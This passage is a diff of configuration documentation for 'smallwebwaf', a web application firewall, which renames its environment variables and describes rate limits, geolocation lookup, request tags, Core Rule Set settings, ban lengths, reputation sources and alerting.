the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||||
network where many people share one address, such as an office.
|
network where many people share one address, such as an office.
|
||||||
- Counting cannot catch a client that stays under all three limits (see "Request
|
- Counting cannot catch a client that stays under all three limits (see "Request
|
||||||
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
|
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
|
||||||
rate limiting and the byte limits, such as `/assets/`.
|
limiting and the byte limits, such as `/assets/`.
|
||||||
|
|
||||||
## Byte limits, per client
|
## Byte limits, per client
|
||||||
|
|
||||||
@@ -134,84 +129,83 @@ counted for a request and its response are added to the client's total once the
|
|||||||
response has ended. The request that takes a client's total past a limit is not
|
response has ended. The request that takes a client's total past a limit is not
|
||||||
cut off; the client is banned.
|
cut off; the client is banned.
|
||||||
|
|
||||||
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
|
||||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
|
which bytes count: response bodies, request bodies or both. The request that
|
||||||
bytes count: response bodies, request bodies or both. The request that passes
|
passes the limit is not cut off, and the client is banned when its response
|
||||||
the limit is not cut off, and the client is banned when its response ends.
|
ends.
|
||||||
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
|
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
|
||||||
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
thresholds count: `response`, the app's response bodies; `request`, the
|
||||||
the visitors' request bodies; or `both`. What the visitor sent over a
|
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
|
||||||
WebSocket counts as request bytes, and what the app sent as response bytes.
|
counts as request bytes, and what the app sent as response bytes.
|
||||||
|
|
||||||
## Lookup of AS number and country
|
## Lookup of AS number and country
|
||||||
|
|
||||||
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
|
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
||||||
stops the start while a setting that needs a lookup is set:
|
the start while a setting that needs a lookup is set:
|
||||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||||
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
|
- `SWW_ADD_LOOKUP_HEADERS`;
|
||||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
|
||||||
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
|
||||||
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
|
||||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
|
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||||
- an anomaly threshold per AS number.
|
- an anomaly threshold per AS number.
|
||||||
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
||||||
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
|
||||||
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
|
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||||
request waits for its client's first answer from GeoJS, and how long a request
|
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||||
to GeoJS may take. A time in milliseconds; never `off`.
|
duration; never `off`.
|
||||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
||||||
app the client's AS number in `X-Client-ASN` and its country in
|
the client's AS number in `X-Client-ASN` and its country in
|
||||||
`X-Client-Country`.
|
`X-Client-Country`.
|
||||||
|
|
||||||
## Country list
|
## Country list
|
||||||
|
|
||||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||||
countries whose clients get through, such as `us,de`. A country whose
|
countries whose clients get through, such as `us,de`. A country whose
|
||||||
`country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
|
`country=` tag is in `SWW_TAG_DENY` stops the start.
|
||||||
|
|
||||||
## Request tags
|
## Request tags
|
||||||
|
|
||||||
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
||||||
in [`SPEC.md`](../SPEC.md).
|
in [`SPEC.md`](../SPEC.md).
|
||||||
|
|
||||||
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
|
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||||
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
|
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
|
||||||
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
|
or the CrowdSec decision list.
|
||||||
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
|
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||||
`country=` tag without a country, is refused.
|
`country=` tag without a country, is refused.
|
||||||
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
|
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
|
||||||
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
|
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
|
||||||
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
|
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
|
||||||
percentage among a client's tags applies. A tag listed twice is refused. So is
|
client's tags applies. A tag listed twice is refused. So is
|
||||||
`exploitsignature`: a request gets that tag after the rate limits have counted
|
`exploitsignature`: a request gets that tag after the rate limits have counted
|
||||||
it.
|
it.
|
||||||
|
|
||||||
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||||
service that gives an address's announced netblock and origin AS. `waf` asks
|
service that gives an address's announced netblock and origin AS. `waf` asks
|
||||||
it about each client, in the background, and adds the tags `asn=<number>` and
|
it about each client, in the background, and adds the tags `asn=<number>` and
|
||||||
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
||||||
routewatch and no request gets a `prefix=` tag.
|
routewatch and no request gets a `prefix=` tag.
|
||||||
|
|
||||||
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
|
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||||
tag that no request can get stops the start. A request can get only these:
|
that no request can get stops the start. A request can get only these:
|
||||||
|
|
||||||
- a name in `SWW_WAF_TAG_LISTS`;
|
- a name in `SWW_TAG_LISTS`;
|
||||||
- an `asn=` or `country=` tag;
|
- an `asn=` or `country=` tag;
|
||||||
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
|
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
|
||||||
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||||
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
|
||||||
masked as the `reputation` field shows it;
|
masked as the `reputation` field shows it;
|
||||||
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
|
||||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
|
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
|
||||||
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
|
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
|
||||||
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
|
|
||||||
`off`.
|
`off`.
|
||||||
|
|
||||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||||
@@ -219,184 +213,151 @@ the request first.
|
|||||||
|
|
||||||
## Biased thresholds
|
## Biased thresholds
|
||||||
|
|
||||||
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
|
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
|
||||||
(default empty): a percentage of the byte limits alone, for the AS numbers or
|
percentage of the byte limits alone, for the AS numbers or countries listed,
|
||||||
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
|
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||||
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
|
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
|
||||||
An AS number or country listed twice is refused.
|
country listed twice is refused.
|
||||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
|
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
||||||
client the lookup cannot place.
|
lookup cannot place.
|
||||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
||||||
a text file with one AS number and percentage on each line, such as
|
text file with one AS number and percentage on each line, such as
|
||||||
`AS64496:50`. Each entry counts like an `asn=` tag in
|
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
|
||||||
`SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
|
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
|
||||||
refused.
|
|
||||||
|
|
||||||
## Attack detection
|
## Attack detection
|
||||||
|
|
||||||
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
|
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
|
||||||
rule files.
|
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||||
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
|
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||||
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
|
||||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
||||||
paranoia level, from 1 to 4.
|
from 1 to 4.
|
||||||
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
|
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
||||||
request is a match. A whole number above zero, or `off`.
|
match. A whole number above zero, or `off`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
- `SWW_WAF_DISABLED_RULES` (default
|
||||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||||
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
||||||
refused: those are the rules that set the Core Rule Set up, and
|
refused: those are the rules that set the Core Rule Set up, and
|
||||||
`smallwebwaf`'s own.
|
`smallwebwaf`'s own.
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
||||||
Rule Set does not inspect.
|
not inspect.
|
||||||
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
|
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
|
||||||
much of a request body the Core Rule Set reads, a size of at most `64K`. A
|
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
|
||||||
question carries no more of a body than 64 KiB, and the Core Rule Set reads at
|
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
|
||||||
most 64 KiB less one byte of it, whatever the value (see "The answer" in
|
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
||||||
[`SPEC.md`](../SPEC.md)).
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
exclusions, written as Coraza directives. It is loaded before the Core Rule
|
||||||
Set exclusions, written as Coraza directives. It is loaded before the Core
|
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
|
||||||
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
|
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
|
||||||
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
|
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
|
||||||
cannot be read or does not parse stops the start, whatever
|
file that names a number from 900000 to 900999 outside a comment, alone or in
|
||||||
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
900000 to 900999 outside a comment, alone or in a range. So does a directive
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
|
yet. It has no `_FILE` form.
|
||||||
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
- `SWW_WAF_APPS` (default unset): the apps each hostname serves. A request gets
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
the fixes of its hostname's apps only (see "Attack detection" in
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
[`SPEC.md`](../SPEC.md)).
|
|
||||||
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
|
||||||
or more apps separated by commas, for example
|
|
||||||
`git.example.com:gitea;blog.example.com:wordpress`.
|
|
||||||
- The supported apps are:
|
|
||||||
- `drupal`;
|
|
||||||
- `forgejo`, which gets gitea's fixes too;
|
|
||||||
- `ghost`;
|
|
||||||
- `gitea`;
|
|
||||||
- `mastodon`;
|
|
||||||
- `mediawiki`;
|
|
||||||
- `nextcloud`;
|
|
||||||
- `vaultwarden`;
|
|
||||||
- `wordpress`.
|
|
||||||
- The request's `Host` is matched by exact name, without its port and
|
|
||||||
without regard to case. There are no wildcards.
|
|
||||||
- A hostname not listed gets no app's fixes. Set empty, `SWW_WAF_APPS` lists
|
|
||||||
no hostname.
|
|
||||||
- Unset, every app's fixes apply to every hostname.
|
|
||||||
- Any of these mistakes stops the start:
|
|
||||||
- an unknown app;
|
|
||||||
- a hostname that is not a DNS name, such as `*.example.com`;
|
|
||||||
- a hostname listed twice;
|
|
||||||
- an app listed twice for one hostname;
|
|
||||||
- an entry without a colon.
|
|
||||||
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
|
|
||||||
may get in a minute from a rule file, a trap path or the Core Rule Set, a
|
|
||||||
count or `off`. The next one bans the client (see "Attack detection" in
|
|
||||||
`SPEC.md`).
|
|
||||||
|
|
||||||
## Ban lengths, response and scope
|
## Ban lengths, response and scope
|
||||||
|
|
||||||
- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||||
- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
|
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
||||||
A duration.
|
duration.
|
||||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||||
within which breaking a limit again lengthens the next ban. A duration.
|
within which breaking a limit again lengthens the next ban. A duration.
|
||||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
|
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
|
||||||
that would be longer than this is permanent instead. A duration.
|
that would be longer is permanent. A duration.
|
||||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
||||||
of attack. A duration.
|
attack. A duration.
|
||||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||||
covers: the prefix length of its netblock, from 0 to 32.
|
covers: the prefix length of its netblock, from 0 to 32.
|
||||||
|
|
||||||
## Reputation
|
## Reputation
|
||||||
|
|
||||||
- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||||
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
||||||
without a user or a fragment. A URL listed twice is refused.
|
without a user or a fragment. A URL listed twice is refused.
|
||||||
- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
|
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
|
||||||
last try before it is fetched again. A duration of `1h` or more.
|
try before it is fetched again. A duration of `1h` or more.
|
||||||
- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
|
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
||||||
`log`.
|
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||||
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
|
||||||
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
||||||
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
||||||
is refused, whatever its case or key.
|
is refused, whatever its case or key.
|
||||||
- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
|
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
||||||
through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
|
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
|
||||||
optional port, 53 when none is given. Unset, the host's resolver is used.
|
port, 53 when none is given. Unset, the host's resolver is used.
|
||||||
- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||||
control character in it is refused.
|
control character in it is refused.
|
||||||
- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
|
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
||||||
score, from 0 to 100, that is a hit.
|
from 0 to 100, that is a hit.
|
||||||
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
|
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
|
||||||
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||||
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
|
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
||||||
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
|
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
|
||||||
without a user or a fragment; its decision list is at `v1/decisions` under it.
|
user or a fragment; its decision list is at `v1/decisions` under it. Set
|
||||||
Set without the key, it is refused. So is a decision list URL that is also in
|
without the key, it is refused. So is a decision list URL that is also in
|
||||||
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
|
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
|
||||||
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||||
URL, it is refused.
|
URL, it is refused.
|
||||||
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
|
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||||
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
|
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||||
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
|
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||||
or AbuseIPDB's score is used. A duration.
|
AbuseIPDB's score is used. A duration.
|
||||||
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
|
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
|
||||||
zone or a check with AbuseIPDB may take. A time in milliseconds.
|
with AbuseIPDB may take. A duration.
|
||||||
|
|
||||||
## Alerting
|
## Alerting
|
||||||
|
|
||||||
- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
|
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
|
||||||
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
|
as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||||
- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
|
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
|
||||||
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
|
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
|
||||||
value. A value cannot hold a comma.
|
value cannot hold a comma.
|
||||||
- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
|
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
|
||||||
that receives each alert as a message, checked as the webhook URL is.
|
receives each alert as a message, checked as the webhook URL is.
|
||||||
- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
|
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
|
||||||
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
|
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
|
||||||
as the webhook URL is.
|
webhook URL is.
|
||||||
- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||||
character in it is refused.
|
character in it is refused.
|
||||||
- `SWW_WAF_ALERT_EVENTS` (default
|
- `SWW_ALERT_EVENTS` (default
|
||||||
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
||||||
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
||||||
but `summary`. Any other name is refused.
|
but `summary`. Any other name is refused.
|
||||||
- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||||
repeats are held back. A duration or `off`.
|
repeats are held back. A duration or `off`.
|
||||||
- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
|
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
||||||
A whole number above zero, or `off`.
|
whole number above zero, or `off`.
|
||||||
|
|
||||||
## Anomaly thresholds
|
## Anomaly thresholds
|
||||||
|
|
||||||
Each scope has four thresholds: the most requests and the most body bytes
|
Each scope has four thresholds: the most requests and the most body bytes
|
||||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
|
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
|
||||||
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||||
thresholds per client are:
|
thresholds per client are:
|
||||||
|
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||||
|
|
||||||
The other scopes' names have another prefix before the same four endings, such
|
The other scopes' names have another prefix before the same four endings, such
|
||||||
as `REQUESTS_PER_MINUTE`:
|
as `REQUESTS_PER_MINUTE`:
|
||||||
|
|
||||||
- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||||
netblock's length:
|
netblock's length:
|
||||||
- `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||||
client;
|
client;
|
||||||
- `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||||
client.
|
client.
|
||||||
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
- `SWW_ANOMALY_ASN_...`: per AS number.
|
||||||
